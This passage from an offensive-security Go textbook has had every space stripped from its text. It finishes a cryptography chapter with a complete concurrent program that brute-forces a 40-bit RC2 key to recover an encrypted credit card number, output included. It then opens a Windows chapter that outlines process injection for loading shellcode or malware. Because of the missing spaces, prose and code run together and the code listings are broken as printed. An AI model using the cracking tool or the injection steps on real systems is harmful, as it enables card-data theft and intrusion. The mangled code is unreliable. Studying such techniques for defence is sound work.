"clientKey.pem")toloadthemforuselater❶.Youalsoreadthe servercertificate,addingittothepoolofcertificatesyouwish toallow❷.Youthenusethepoolandclientcertificates❸to buildyourTLSconfiguration❹,andcall tlsConf.BuildNameToCertificate()tobinddomainnamestotheir respectivecertificates❺. Sinceyou’recreatinganHTTPclient,youhavetodefinea transport❻,correlatingitwithyourTLSconfiguration.You canthenusethetransportinstancetocreateanhttp.Clientstruct ❼.AswediscussedinChapters3and4,youcanusethis clienttoissueanHTTPGETrequestvia client.Get("https://server.blackhat-go.local:9443/hello")❽. Allthemagichappensbehindthescenesatthispoint. Mutualauthenticationisperformed—theclientandtheserver mutuallyauthenticateeachother.Ifauthenticationfails,the programreturnsanerrorandexits.Otherwise,youreadthe HTTPresponsebodyanddisplayittostdout❾.Runningyour clientcodeproducestheexpectedresult,specifically,that therewerenoerrorsthrownandthatauthenticationsucceeds: $gorunmain.go Success:Authenticationsuccessful Yourserveroutputisshownnext.Recallthatyou configuredtheservertologahellomessagetostandard output.Thismessagecontainsthecommonnameofthe connectingclient,extractedfromthecertificate: $gorunmain.go Hello:client.blackhat-go.local Younowhaveafunctionalsampleofmutual authentication.Tofurtherenhanceyourunderstanding,we encourageyoutotweakthepreviousexamplessotheywork overTCPsockets. Inthenextsection,you’lldedicateyoureffortstoamore deviouspurpose:brute-forcingRC2encryptioncipher symmetrickeys. BRUTE-FORCINGRC2 RC2isasymmetric-keyblockciphercreatedbyRonRivestin 1987.Promptedbyrecommendationsfromthegovernment, thedesignersuseda40-bitencryptionkey,whichmadethe cipherweakenoughthattheUSgovernmentcouldbrute-force thekeyanddecryptcommunications.Itprovidedample confidentialityformostcommunicationsbutallowedthe governmenttopeepintochatterwithforeignentities,for example.Ofcourse,backinthe1980s,brute-forcingthekey requiredsignificantcomputingpower,andonlywell-funded nationstatesorspecialtyorganizationshadthemeansto decryptitinareasonableamountoftime.Fast-forward30 years;today,thecommonhomecomputercanbrute-forcea 40-bitkeyinafewdaysorweeks. So,whattheheck,let’sbruteforcea40-bitkey. GettingStarted Beforewediveintothecode,let’ssetthestage.Firstofall, neitherthestandardnorextendedGocryptolibrarieshavean RC2packageintendedforpublicconsumption.However, there’saninternalGopackageforit.Youcan’timportinternal packagesdirectlyinexternalprograms,soyou’llhavetofind anotherwaytouseit. Second,tokeepthingssimple,you’llmakesome assumptionsaboutthedatathatyounormallywouldn’twantto make.Specifically,you’llassumethatthelengthofyour cleartextdataisamultipleoftheRC2blocksize(8bytes)to avoidcloudingyourlogicwithadministrativetaskslike handlingPKCS#5padding.Handlingthepaddingissimilarto whatyoudidwithAESpreviouslyinthischapter(seeListing 11-4),butyou’dneedtobemorediligentinvalidatingthe contentstomaintaintheintegrityofthedatayou’llbeworking with.You’llalsoassumethatyourciphertextisanencrypted creditcardnumber.You’llcheckthepotentialkeysby validatingtheresultingplaintextdata.Inthiscase,validating thedatainvolvesmakingsurethetextisnumericandthen subjectingittoaLuhncheck,whichisamethodofvalidating creditcardnumbersandothersensitivedata. Next,you’llassumeyouwereabletodetermine—perhaps frompilferingfilesystemdataorsourcecode—thatthedatais encryptedusinga40-bitkeyinECBmodewithno initializationvector.RC2supportsvariable-lengthkeysand, sinceit’sablockcipher,canoperateindifferentmodes.In ECBmode,whichisthesimplestmode,blocksofdataare encryptedindependentlyofotherblocks.Thiswillmakeyour logicalittlemorestraightforward.Lastly,althoughyoucan crackthekeyinanonconcurrentimplementation,ifyouso choose,aconcurrentimplementationwillbefarbetter performing.Ratherthanbuildingthisthingiteratively, showingfirstanonconcurrentversionfollowedbya concurrentone,we’llgostraightfortheconcurrentbuild. Nowyou’llinstallacoupleofprerequisites.First,retrieve theofficialRC2Goimplementationfrom https://github.com/golang/crypto/blob/master/pkcs12/internal/ rc2/rc2.go.You’llneedtoinstallthisinyourlocalworkspace sothatyoucanimportitintoyourbrute-forcer.Aswe mentionedearlier,thepackageisaninternalpackage,meaning that,bydefault,outsidepackagescan’timportanduseit.This isalittlehacky,butit’llpreventyoufromhavingtousea third-partyimplementationor—shudder—writingyourown RC2ciphercode.Ifyoucopyitintoyourworkspace,thenon- exportedfunctionsandtypesbecomepartofyour developmentpackage,whichmakesthemaccessible. Let’salsoinstallapackagethatyou’llusetoperformthe Luhncheck: $gogetgithub.com/joeljunstrom/go-luhn ALuhncheckcalculateschecksumsoncreditcardnumbers orotheridentificationdatatodeterminewhetherthey’revalid. You’llusetheexistingpackageforthis.It’swell-documented andit’llsaveyoufromre-creatingthewheel. Nowyoucanwriteyourcode.You’llneedtoiterate througheverycombinationoftheentirekeyspace(40-bits), decryptingyourciphertextwitheachkey,andthenvalidating yourresultbymakingsureitbothconsistsofonlynumeric charactersandpassesaLuhncheck.You’llusea producer/consumermodeltomanagethework—theproducer willpushakeytoachannelandtheconsumerswillreadthe keyfromthechannelandexecuteaccordingly.Theworkitself willbeasinglekeyvalue.Whenyoufindakeythatproduces properlyvalidatedplaintext(indicatingyoufoundacreditcard number),you’llsignaleachofthegoroutinestostoptheir work. Oneoftheinterestingchallengesofthisproblemishowto iteratethekeyspace.Inoursolution,youiterateitusingafor loop,traversingthekeyspacerepresentedasuint64values.The challenge,asyou’llsee,isthatuint64occupies64bitsofspace inmemory.So,convertingfromauint64toa40-bit(5-byte) []byteRC2keyrequiresthatyoucropoff24bits(3bytes)of unnecessarydata.Hopefully,thisprocessbecomesclearonce you’velookedatthecode.We’lltakeitslow,breakingdown sectionsoftheprogramandworkingthroughthemonebyone. Listing11-8beginstheprogram. import( "crypto/cipher" "encoding/binary" "encoding/hex" "fmt" "log" "regexp" "sync" ❶luhn"github.com/joeljunstrom/go-luhn" ❷"github.com/bhg/ch-11/rc2-brute/rc2" ) ❸varnumeric=regexp.MustCompile(`^\d{8}$`) ❹typeCryptoDatastruct{ blockcipher.Block key[]byte } Listing11-8:ImportingtheRC2brute-forcetype(/ch-11/rc2-brute/main.go) We’veincludedtheimportstatementsheretodrawattention totheinclusionofthethird-partygo-luhnpackage❶,aswellas theinclusionoftherc2package❷youclonedfromthe internalGorepository.Youalsocompilearegularexpression ❸thatyou’llusetocheckwhethertheresultingplaintext blockis8bytesofnumericdata. Notethatyou’rechecking8bytesofdataandnot16bytes, whichisthelengthofyourcreditcardnumber.You’re checking8bytesbecausethat’sthelengthofanRC2block. You’llbedecryptingyourciphertextblockbyblock,soyou cancheckthefirstblockyoudecrypttoseewhetherit’s numeric.Ifthe8bytesoftheblockaren’tallnumeric,youcan confidentlyassumethatyouaren’tdealingwithacreditcard numberandcanskipthedecryptionofthesecondblockof ciphertextaltogether.Thisminorperformanceimprovement willsignificantlyreducethetimeittakestoexecutemillions oftimesover. Lastly,youdefineatypenamedCryptoData❹thatyou’lluse tostoreyourkeyandacipher.Block.You’llusethisstructto defineunitsofwork,whichproducerswillcreateand consumerswillactupon. ProducingWork Let’slookattheproducerfunction(Listing11-9).Youplace thisfunctionafteryourtypedefinitionsinthepreviouscode listing. ❶funcgenerate(start,stopuint64,outchan<-*CryptoData,\ done<-chanstruct{},wg*sync.WaitGroup){ ❷wg.Add(1) ❸gofunc(){ ❹deferwg.Done() var( blockcipher.Block errerror key[]byte data*CryptoData ) ❺fori:=start;i<=stop;i++{ key=make([]byte,8) ❻select{ ❼case<-done: return ❽default: ❾binary.BigEndian.PutUint64(key,i) ifblock,err=rc2.New(key[3:],40);err!=nil{ log.Fatalln(err) } data=&CryptoData{ block:block, key:key[3:], } ❿out<-data } } }() return } Listing11-9:TheRC2producerfunction(/ch-11/rc2-brute/main.go) Yourproducerfunctionisnamedgenerate()❶.Itacceptstwo uint64variablesusedtodefineasegmentofthekeyspaceon whichtheproducerwillcreatework(basically,therangeover whichthey’llproducekeys).Thisallowsyoutobreakupthe keyspace,distributingportionsofittoeachproducer. Thefunctionalsoacceptstwochannels:a*CryptDatawrite- onlychannelusedforpushingworktoconsumersanda genericstructchannelthat’llbeusedforreceivingsignalsfrom consumers.Thissecondchannelisnecessarysothat,for example,aconsumerthatidentifiesthecorrectkeycan explicitlysignaltheproducertostopproducing.Nosense creatingmoreworkifyou’vealreadysolvedtheproblem. Lastly,yourfunctionacceptsaWaitGrouptobeusedfortracking andsynchronizingproducerexecution.Foreachconcurrent producerthatruns,youexecutewg.Add(1)❷totelltheWaitGroup thatyoustartedanewproducer. Youpopulateyourworkchannelwithinagoroutine❸, includingacalltodeferwg.Done()❹tonotifyyourWaitGroup whenthegoroutineexits.Thiswillpreventdeadlockslateras youtrytocontinueexecutionfromyourmain()function.You useyourstart()andstop()valuestoiterateasubsectionofthekey spacebyusingaforloop❺.Everyiterationoftheloop incrementstheivariableuntilyou’vereachedyourending offset. Aswementionedpreviously,yourkeyspaceis40bits,but iis64bits.Thissizedifferenceiscrucialtounderstand.You don’thaveanativeGotypethatis40bits.Youhaveonly32- or64-bittypes.Since32bitsistoosmalltoholda40-bit value,youneedtouseyour64-bittypeinstead,andaccount fortheextra24bitslater.Perhapsyoucouldavoidthiswhole challengeifyoucoulditeratetheentirekeyspacebyusinga []byteinsteadofauint64.Butdoingsowouldlikelyrequiresome funkybitwiseoperationsthatmayovercomplicatethe example.So,you’lldealwiththelengthnuanceinstead. Withinyourloop,youincludeaselectstatement❻thatmay looksillyatfirst,becauseit’soperatingonchanneldataand doesn’tfitthetypicalsyntax.Youuseittocheckwhetheryour donechannelhasbeenclosedviacase<-done❼.Ifthechannelis closed,youissueareturnstatementtobreakoutofyour goroutine.Whenthedonechannelisn’tclosed,youusethe defaultcase❽tocreatethecryptoinstancesnecessarytodefine work.Specifically,youcallbinary.BigEndian.PutUint64(key,i)❾to writeyouruint64value(thecurrentkey)toa[]bytenamedkey. Althoughwedidn’texplicitlycallitoutearlier,you initializedkeyasan8-byteslice.Sowhyareyoudefiningthe sliceas8byteswhenyou’redealingwithonlya5-bytekey? Well,sincebinary.BigEndian.PutUint64takesauint64value,it requiresadestinationsliceof8bytesinlengthorelseit throwsanindex-out-of-rangeerror.Itcan’tfitan8-bytevalue intoa5-byteslice.So,yougiveitan8-byteslice.Notice throughouttheremainderofthecode,youuseonlythelast5 bytesofthekeyslice;eventhoughthefirst3byteswillbezero, theywillstillcorrupttheausterityofourcryptofunctionsif included.Thisiswhyyoucallrc2.New(key[3:],40)tocreateyour cipherinitially;doingsodropsthe3irrelevantbytesandalso passesinthelength,inbits,ofyourkey:40.Youusethe resultingcipher.Blockinstanceandtherelevantkeybytesto createaCryptoDataobject,andyouwriteittotheoutworker channel❿. That’sitfortheproducercode.Noticethatinthissection you’reonlybootstrappingtherelevantkeydataneeded. Nowhereinthefunctionareyouactuallyattemptingtodecrypt theciphertext.You’llperformthisworkinyourconsumer function. PerformingWorkandDecryptingData Let’sreviewtheconsumerfunctionnow(Listing11-10). Again,you’lladdthisfunctiontothesamefileasyour previouscode. ❶funcdecrypt(ciphertext[]byte,in<-chan*CryptoData,\ donechanstruct{},wg*sync.WaitGroup){ size:=rc2.BlockSize plaintext:=make([]byte,len(ciphertext)) ❷wg.Add(1) gofunc(){ ❸deferwg.Done() ❹fordata:=rangein{ select{ ❺case<-done: return ❻default: ❼data.block.Decrypt(plaintext[:size],ciphertext[:size]) ❽ifnumeric.Match(plaintext[:size]){ ❾data.block.Decrypt(plaintext[size:],ciphertext[size:]) ❿ifluhn.Valid(string(plaintext))&&\ numeric.Match(plaintext[size:]){ fmt.Printf("Card[%s]foundusingkey[%x]\n",/ plaintext,data.key) close(done) return } } } } }() } Listing11-10:TheRC2consumerfunction(/ch-11/rc2-brute/main.go) Yourconsumerfunction,nameddecrypt()❶,acceptsseveral parameters.Itreceivestheciphertextyouwishtodecrypt.It alsoacceptstwoseparatechannels:aread-only*CryptoData channelnamedinthatyou’lluseasaworkqueueanda channelnameddonethatyou’lluseforsendingandreceiving explicitcancellationsignals.Lastly,italsoacceptsa *sync.WaitGroupnamedwgthatyou’lluseformanagingyour consumerworkers,muchlikeyourproducerimplementation. YoutellyourWaitGroupthatyou’restartingaworkerbycalling wg.Add(1)❷.Thisway,you’llbeabletotrackandmanageall theconsumersthatarerunning. Next,insideyourgoroutine,youcalldeferwg.Done()❸so thatwhenthegoroutinefunctionends,you’llupdatethe WaitGroupstate,reducingthenumberofrunningworkersby one.ThisWaitGroupbusinessisnecessaryforyouto synchronizetheexecutionofyourprogramacrossanarbitrary numberofworkers.You’llusetheWaitGroupinyourmain() functionlatertowaitforyourgoroutinestocomplete. Theconsumerusesaforloop❹torepeatedlyreadCryptoData workstructsfromtheinchannel.Theloopstopswhenthe channelisclosed.Recallthattheproducerpopulatesthis channel.Asyou’llseeshortly,thischannelclosesafterthe producershaveiteratedtheirentirekeyspacesubsectionsand pushedtherelativecryptodataontotheworkchannel. Therefore,yourconsumerloopsuntiltheproducersaredone producing. Asyoudidintheproducercode,youuseaselectstatement withintheforlooptocheckwhetherthedonechannelhasbeen closed❺,andifithas,youexplicitlysignaltheconsumerto stopadditionalworkefforts.Aworkerwillclosethechannel whenavalidcreditcardnumberhasbeenidentified,aswe’ll discussinamoment.Yourdefaultcase❻performsthecrypto heavylifting.First,itdecryptsthefirstblock(8bytes)of ciphertext❼,checkingwhethertheresultingplaintextisan8- byte,numericvalue❽.Ifitis,youhaveapotentialcard numberandproceedtodecryptthesecondblockofciphertext ❾.Youcallthesedecryptionfunctionsbyaccessingthe cipher.BlockfieldwithinyourCryptoDataworkobjectthatyouread infromthechannel.Recallthattheproducerinstantiatedthe structbyusingauniquekeyvaluetakenfromthekeyspace. Lastly,youvalidatetheentiretyoftheplaintextagainstthe Luhnalgorithmandvalidatethatthesecondblockofplaintext isan8-byte,numericvalue❿.Ifthesecheckssucceed,you canbereasonablysurethatyoufoundavalidcreditcard number.Youdisplaythecardnumberandthekeytostdoutand callclose(done)tosignaltheothergoroutinesthatyou’vefound whatyou’reafter. WritingtheMainFunction Bythispoint,youhaveyourproducerandconsumerfunctions, bothequippedtoexecutewithconcurrency.Now,let’stieitall togetherinyourmain()function(Listing11-11),whichwill appearinthesamesourcefileasthepreviouslistings. funcmain(){ var( errerror ciphertext[]byte ) ifciphertext,err=hex.DecodeString("0986f2cc1ebdc5c2e25d04a136fa1a6b"); err!=nil{❶ log.Fatalln(err) } varprodWg,consWgsync.WaitGroup❷ varmin,max,prods=uint64(0x0000000000),uint64(0xffffffffff),uint64(75) varstep=(max-min)/prods done:=make(chanstruct{}) work:=make(chan*CryptoData,100) if(step*prods)<max{❸ step+=prods } varstart,end=min,min+step log.Println("Startingproducers...") fori:=uint64(0);i<prods;i++{❹ ifend>max{ end=max } generate(start,end,work,done,&prodWg)❺ end+=step start+=step } log.Println("Producersstarted!") log.Println("Startingconsumers...") fori:=0;i<30;i++{❻ decrypt(ciphertext,work,done,&consWg)❼ } log.Println("Consumersstarted!") log.Println("Nowwewait...") prodWg.Wait()❽ close(work) consWg.Wait()❾ log.Println("Brute-forcecomplete") } Listing11-11:TheRC2main()function(/ch-11/rc2-brute/main.go) Yourmain()functiondecodesyourciphertext,representedas ahexadecimalstring❶.Next,youcreateseveralvariables❷. FirstyoucreateWaitGroupvariablesusedfortrackingboth producerandconsumergoroutines.Youalsodefineseveral uint64valuesfortrackingtheminimumvalueina40-bitkey space(0x0000000000),themaximumvalueinthekeyspace (0xffffffffff),andthenumberofproducersyouintendtostart, inthiscase75.Youusethesevaluestocalculateastepor range,whichrepresentsthenumberofkeyseachproducerwill iterate,sinceyourintentistodistributetheseeffortsuniformly acrossallyourproducers.Youalsocreatea*CryptoDatawork channelandadonesignalingchannel.You’llpassthesearound toyourproducerandconsumerfunctions. Sinceyou’redoingbasicintegermathtocalculateyour stepvaluefortheproducers,there’sachancethatyou’lllose somedataifthekeyspacesizeisn’tamultipleofthenumber ofproducersyou’llspinup.Toaccountforthis—andtoavoid losingprecisionwhileconvertingtoafloating-pointnumber foruseinacalltomath.Ceil()—youcheckwhetherthemaximum key(step*prods)islessthanyourmaximumvaluefortheentire keyspace(0xffffffffff)❸.Ifitis,ahandfulofvaluesinthe keyspacewon’tbeaccountedfor.Yousimplyincreaseyour stepvaluetoaccountforthisshortage.Youinitializetwo variables,startandend,tomaintainthebeginningandending offsetsyoucanusetobreakapartthekeyspace. Themathtoarriveatyouroffsetsandstepsizeisn’tprecise byanymeans,anditcouldcauseyourcodetosearchbeyond theendofthemaximumallowablekeyspace.However,you fixthatwithinaforloop❹usedtostarteachoftheproducers. Intheloop,youadjustyourendingstepvalue,end,shouldthat valuefallbeyondthemaximumallowedkeyspacevalue.Each iterationoftheloopcallsgenerate()❺,yourproducerfunction, andpassestoitthestart(start)andend(end)keyspaceoffsets forwhichtheproducerwilliterate.Youalsopassityourwork anddonechannels,aswellasyourproducerWaitGroup.After callingthefunction,youshiftyourstartandendvariablesto accountforthenextrangeofkeyspacethatwillbepassedtoa newproducer.Thisishowyoubreakupyourkeyspaceinto smaller,moredigestibleportionsthattheprogramcanprocess concurrently,withoutoverlappingeffortsbetweengoroutines. Afteryourproducersarespunup,youuseaforloopto createyourworkers❻.Inthiscase,you’recreating30of them.Foreachiteration,youcallyourdecrypt()function❼, passingtoittheciphertext,theworkchannel,thedone channel,andtheconsumerWaitGroup.Thisspinsupyour concurrentconsumers,whichbegintopullandprocesswork astheproducerscreateit. Iteratingthroughtheentirekeyspacetakestime.Ifyou don’thandlethingscorrectly,themain()functionwillassuredly exitbeforeyoudiscoverakeyorexhaustkeyspace.So,you needtomakesuretheproducersandconsumershaveadequate timetoeitheriteratetheentirekeyspaceordiscoverthe correctkey.ThisiswhereyourWaitGroupscomein.Youcall prodWg.Wait()❽toblockmain()untiltheproducershave completedtheirtasks.Recallthattheproducershave completedtheirtasksiftheyeitherexhaustthekeyspaceor explicitlycanceltheprocessviathedonechannel.Afterthis completes,youexplicitlyclosetheworkchannelsothe consumerswon’tdeadlockcontinuallywhiletryingtoread fromit.Finally,youblockmain()againbycallingconsWg.Wait() ❾togiveadequatetimefortheconsumersinyourWaitGroupto completeanyremainingworkintheworkchannel. RunningtheProgram You’vecompletedyourprogram!Ifyourunit,youshouldsee thefollowingoutput: $gorunmain.go 2020/07/1214:27:47Startingproducers... 2020/07/1214:27:47Producersstarted! 2020/07/1214:27:47Startingconsumers... 2020/07/1214:27:47Consumersstarted! 2020/07/1214:27:47Nowwewait... 2020/07/1214:27:48Card[4532651325506680]foundusingkey[e612d0bbb6] 2020/07/1214:27:48Brute-forcecomplete Theprogramstartstheproducersandconsumersandthen waitsforthemtoexecute.Whenacardisfound,theprogram displaysthecleartextcardandthekeyusedtodecryptthat card.Sinceweassumethiskeyisthemagicalkeyforallcards, weinterruptexecutionprematurelyandcelebrateoursuccess bypaintingaself-portrait(notshown). Ofcourse,dependingonthekeyvalue,brute-forcingona homecomputercantakeasignificantamountoftime—think daysorevenweeks.Fortheprecedingsamplerun,we narrowedthekeyspacetofindthekeymorequickly. However,completelyexhaustingthekeyspaceona2016 MacBookProtakesapproximatelysevendays.Nottoobadfor aquick-and-dirtysolutionrunningonalaptop. SUMMARY Cryptoisanimportanttopicforsecuritypractitioners,even thoughthelearningcurvecanbesteep.Thischaptercovered symmetricandasymmetriccrypto,hashing,password handlingwithbcrypt,messageauthentication,mutual authentication,andbrute-forcingRC2.Inthenextchapter, we’llgetintothenitty-grittyofattackingMicrosoftWindows. 12 WINDOWSSYSTEMINTERACTION ANDANALYSIS TherearecountlesswaysofdevelopingMicrosoftWindows attacks—toomanytocoverinthischapter.Insteadof discussingthemall,we’llintroduceandinvestigateafew techniquesthatcanhelpyouattackWindows,whetherinitially orduringyourpost-exploitationadventures. AfterdiscussingtheMicrosoftAPIdocumentationand somesafetyconcerns,we’llcoverthreetopics.First,we’lluse Go’scoresyscallpackagetointeractwithvarioussystem-level WindowsAPIsbyperformingaprocessinjection.Second, we’llexploreGo’scorepackagefortheWindowsPortable Executable(PE)formatandwriteaPEfileformatparser. Third,we’lldiscusstechniquesforusingCcodewithnative Gocode.You’llneedtoknowtheseappliedtechniquesin ordertobuildanovelWindowsattack. THEWINDOWSAPI’S OPENPROCESS()FUNCTION InordertoattackWindows,youneedtounderstandthe WindowsAPI.Let’sexploretheWindowsAPIdocumentation byexaminingtheOpenProcess()function,usedtoobtainahandle onaremoteprocess.YoucanfindtheOpenProcess() documentationathttps://docs.microsoft.com/en- us/windows/desktop/api/processthreadsapi/nf- processthreadsapi-openprocess/.Figure12-1showsthe function’sobjectpropertydetails. Figure12-1:TheWindowsAPIobjectstructureforOpenProcess() Inthisparticularinstance,wecanseethattheobjectlooks verysimilartoastructtypeinGo.However,theC++struct fieldtypesdon’tnecessarilyreconcilewithGotypes,and Microsoftdatatypesdon’talwaysmatchGodatatypes. TheWindowsdatatypedefinitionreference,locatedat https://docs.microsoft.com/en- us/windows/desktop/WinProg/windows-data-types/,canbe helpfulwhenreconcilingaWindowsdatatypewithGo’s respectivedatatype.Table12-1coversthetypeconversion we’lluseintheprocessinjectionexampleslaterinthis chapter. Table12-1:MappingWindowsDataTypestoGoDataTypes WindowsdataType Godatatype BOOLEAN byte BOOL int32 BYTE byte DWORD uint32 DWORD32 uint32 DWORD64 uint64 WORD uint16 HANDLE uintptr(unsignedintegerpointer) LPVOID uintptr SIZE_T uintptr LPCVOID uintptr HMODULE uintptr LPCSTR uintptr LPDWORD uintptr TheGodocumentationdefinestheuintptrdatatypeas“an integertypethatislargeenoughtoholdthebitpatternofany pointer.”Thisisaspecialdatatype,asyou’llseewhenwe discussGo’sunsafepackageandtypeconversionslaterin“The unsafe.PointeranduintptrTypes”onpage266.Fornow,let’s finishwalkingthroughtheWindowsAPIdocumentation. Next,youshouldlookatanobject’sparameters;the Parameterssectionofthedocumentationprovidesdetails.For example,thefirstparameter,dwDesiredAccess,providesspecifics regardingthelevelofaccesstheprocesshandleshould possess.Afterthat,theReturnValuesectiondefinesexpected valuesforbothasuccessfulandfailedsystemcall(Figure12- 2). Figure12-2:Thedefinitionfortheexpectedreturnvalue We’lltakeadvantageofaGetLastErrorerrormessagewhen usingthesyscallpackageinourupcomingexamplecode, althoughthiswilldeviatefromthestandarderrorhandling (suchasiferr!=nilsyntax)eversoslightly. OurlastsectionoftheWindowsAPIdocument, Requirements,providesimportantdetails,asshowninFigure 12-3.Thelastlinedefinesthedynamiclinklibrary(DLL), whichcontainsexportablefunctions(suchasOpenProcess())and willbenecessarywhenwebuildoutourWindowsDLL module’svariabledeclarations.Saidanotherway,wecannot calltherelevantWindowsAPIfunctionfromGowithout knowingtheappropriateWindowsDLLmodule.Thiswill becomeclearerasweprogressintoourupcomingprocess injectionexample. Figure12-3:TheRequirementssectiondefinesthelibraryrequiredtocalltheAPI. THEUNSAFE.POINTERAND UINTPTRTYPES IndealingwiththeGosyscallpackage,we’llmostcertainly needtosteparoundGo’stype-safetyprotections.Thereasonis thatwe’llneed,forexample,toestablishsharedmemory structuresandperformtypeconversionsbetweenGoandC. Thissectionprovidesthegroundworkyouneedinorderto manipulatememory,butyoushouldalsoexploreGo’sofficial documentationfurther. We’llbypassGo’ssafetyprecautionsbyusingGo’sunsafe package(mentionedinChapter9),whichcontainsoperations thatsteparoundthetypesafetyofGoprograms.Gohaslaid outfourfundamentalguidelinestohelpusout: Apointervalueofanytypecanbeconvertedtoanunsafe.Pointer. Anunsafe.Pointercanbeconvertedtoapointervalueofanytype. Auintptrcanbeconvertedtoanunsafe.Pointer. Anunsafe.Pointercanbeconvertedtoauintptr. WARNING Keep in mind that packages that import the unsafe package may not be portable,andthatalthoughGotypicallyensuresGoversion1compatibility, usingtheunsafepackagebreaksallguaranteesofthis. Theuintptrtypeallowsyoutoperformtypeconversionor arithmeticbetweennativesafetypes,amongotheruses. Althoughuintptrisanintegertype,it’susedextensivelyto representamemoryaddress.Whenusedwithtype-safe pointers,Go’snativegarbagecollectorwillmaintainrelevant referencesatruntime. However,thesituationchangeswhenunsafe.Pointeris introduced.Recallthatuintptrisessentiallyjustanunsigned integer.Ifapointervalueiscreatedusingunsafe.Pointerandthen assignedtouintptr,there’snoguaranteethatGo’sgarbage collectorwillmaintaintheintegrityofthereferencedmemory location’svalue.Figure12-4helpstofurtherdescribethe issue. Figure12-4:Apotentiallydangerouspointerwhenusinguintptrandunsafe.Pointer Thetophalfoftheimagedepictsuintptrwithareference valuetoaGotype-safepointer.Assuch,itwillmaintainits referenceatruntime,alongwithausteregarbagecollection. Thelowerhalfoftheimagedemonstratesthatuintptr,although itreferencesanunsafe.Pointertype,canbegarbagecollected, consideringGodoesn’tpreservenormanagepointersto arbitrarydatatypes.Listing12-1representstheissue. funcstate(){ varonload=createEvents("onload")❶ varreceive=createEvents("receive")❷ varsuccess=createEvents("success")❸ mapEvents:=make(map[string]interface{}) mapEvents["messageOnload"]=unsafe.Pointer(onload) mapEvents["messageReceive"]=unsafe.Pointer(receive)❹ mapEvents["messageSuccess"]=uintptr(unsafe.Pointer(success))❺ //Thislineissafe-retainsorginalvalue fmt.Println(*(*string)(mapEvents["messageReceive"].(unsafe.Pointer)))❻ //Thislineisunsafe-originalvaluecouldbegarbagecollected fmt.Println(*(*string)(unsafe.Pointer(mapEvents["messageSuccess"].(uintptr)))) ❼ } funccreateEvents(sstring)❽*string{ return&s } Listing12-1:Usinguintptrbothsecurelyandinsecurelywithunsafe.Pointer Thiscodelistingcouldbesomeone’sattemptatcreatinga statemachine,forexample.Ithasthreevariables,assigned theirrespectivepointervaluesofonload❶,receive❷,andsuccess ❸bycallingthecreateEvents()❽function.Wethencreatea mapcontainingakeyoftypestringalongwithavalueoftype interface{}.Weusetheinterface{}typebecauseitcanreceive disparatedatatypes.Inthiscase,we’lluseittoreceiveboth unsafe.Pointer❹anduintptr❺values. Atthispoint,youmostlikelyhavespottedthedangerous piecesofcode.AlthoughthemapEvents["messageRecieve"]map entry❹isoftypeunsafe.Pointer,itstillmaintainsitsoriginal referencetothereceive❷variableandwillprovidethesame consistentoutput❻asitdidoriginally.Contrarily,the mapEvents["messageSuccess"]mapentry❺isoftypeuintptr.This meansthatassoonastheunsafe.Pointervaluereferencingthe successvariableisassignedtoauintptrtype,thesuccessvariable❸ isfreetobegarbagecollected.Again,uintptrisjustatype holdingaliteralintegerofamemoryaddress,notareference toapointer.Asaresult,there’snoguaranteethattheexpected output❼willbeproduced,asthevaluemaynolongerbe present. Isthereasafewaytouseuintptrwithunsafe.Pointer?Wecando sobytakingadvantageofruntime.Keepalive,whichcanprevent thegarbagecollectionofavariable.Let’stakealookatthisby modifyingourpriorcodeblock(Listing12-2). funcstate(){ varonload=createEvents("onload") varreceive=createEvents("receive") varsuccess❶=createEvents("success") mapEvents:=make(map[string]interface{}) mapEvents["messageOnload"]=unsafe.Pointer(onload) mapEvents["messageReceive"]=unsafe.Pointer(receive) mapEvents["messageSuccess"]=uintptr(unsafe.Pointer(success))❷ //Thislineissafe-retainsorginalvalue fmt.Println(*(*string)(mapEvents["messageReceive"].(unsafe.Pointer))) //Thislineisunsafe-originalvaluecouldbegarbagecollected fmt.Println(*(*string)(unsafe.Pointer(mapEvents["messageSuccess"].(uintptr)))) runtime.KeepAlive(success)❸ } funccreateEvents(sstring)*string{ return&s } Listing12-2:Listing7-2:Usingtheruntime.KeepAlive()functiontopreventgarbage collectionofavariable Seriously,we’veaddedonlyonesmalllineofcode❸! Thisline,runtime.KeepAlive(success),tellstheGoruntimetoensure thatthesuccessvariableremainsaccessibleuntilit’sexplicitly releasedortherunstateends.Thismeansthatalthoughthe successvariable❶isstoredasuintptr❷,itcan’tbegarbage collectedbecauseoftheexplicitruntime.KeepAlive()directive. BeawarethattheGosyscallpackageextensivelyuses uintptr(unsafe.Pointer())throughout,andalthoughcertainfunctions, likesyscall9(),havetypesafetythroughexception,notallthe functionsemploythis.Further,asyouhackaboutyourown projectcode,you’llalmostcertainlyrunintosituationsthat warrantmanipulatingheaporstackmemoryinanunsafe manner. PERFORMINGPROCESSINJECTION WITHTHESYSCALLPACKAGE Often,weneedtoinjectourowncodeintoaprocess.This maybebecausewewanttogainremotecommandlineaccess toasystem(shell),orevendebugaruntimeapplicationwhen thesourcecodeisn’tavailable.Understandingthemechanics ofprocessinjectionwillalsohelpyouperformmore interestingtasks,suchasloadingmemory-residentmalwareor hookingfunctions.Eitherway,thissectiondemonstrateshow touseGotointeractwiththeMicrosoftWindowsAPIsin ordertoperformprocessinjection.We’llinjectapayload storedonadiskintoexistingprocessmemory.Figure12-5 describestheoverallchainofevents. Figure12-5:Basicprocessinjection Instep1,weusetheOpenProcess()Windowsfunctionto establishaprocesshandle,alongwiththedesiredprocess accessrights.Thisisarequirementforprocess-level interaction,whetherwe’redealingwithalocalorremote process. Oncetherequisiteprocesshandlehasbeenobtained,we useitinstep2,alongwiththeVirtualAllocEx()Windows function,toallocatevirtualmemorywithintheremoteprocess. Thisisarequirementforloadingbyte-levelcode,suchas shellcodeoraDLL,intotheremoteprocesses’memory. Instep3,weloadbyte-levelcodeintomemorybyusing theWriteProcessMemory()Windowsfunction.Atthispointinthe injectionprocess,we,asattackers,gettodecidehowcreative tobewithourshellcodeorDLL.Thisisalsotheplacewhere youmightneedtoinjectdebuggingcodewhenattemptingto understandarunningprogram. Finally,instep4,weusetheCreateRemoteThread()Windows functionasameanstocallanativeexportedWindowsDLL function,suchasLoadLibraryA(),locatedinKernel32.dll,sothat wecanexecutethecodepreviouslyplacedwithintheprocess byusingWriteProcessMemory(). Thefourstepswejustdescribedprovideafundamental processinjectionexample.We’lldefineafewadditionalfiles andfunctionswithinouroverallprocessinjectionexamplethat aren’tnecessarilydescribedhere,althoughwe’lldescribethem indetailasweencounterthem. DefiningtheWindowsDLLsandAssigning Variables ThefirststepistocreatethewinmodsfileinListing12-3. (Allthecodelistingsattherootlocationof/existunderthe providedgithubrepohttps://github.com/blackhat-go/bhg/.) 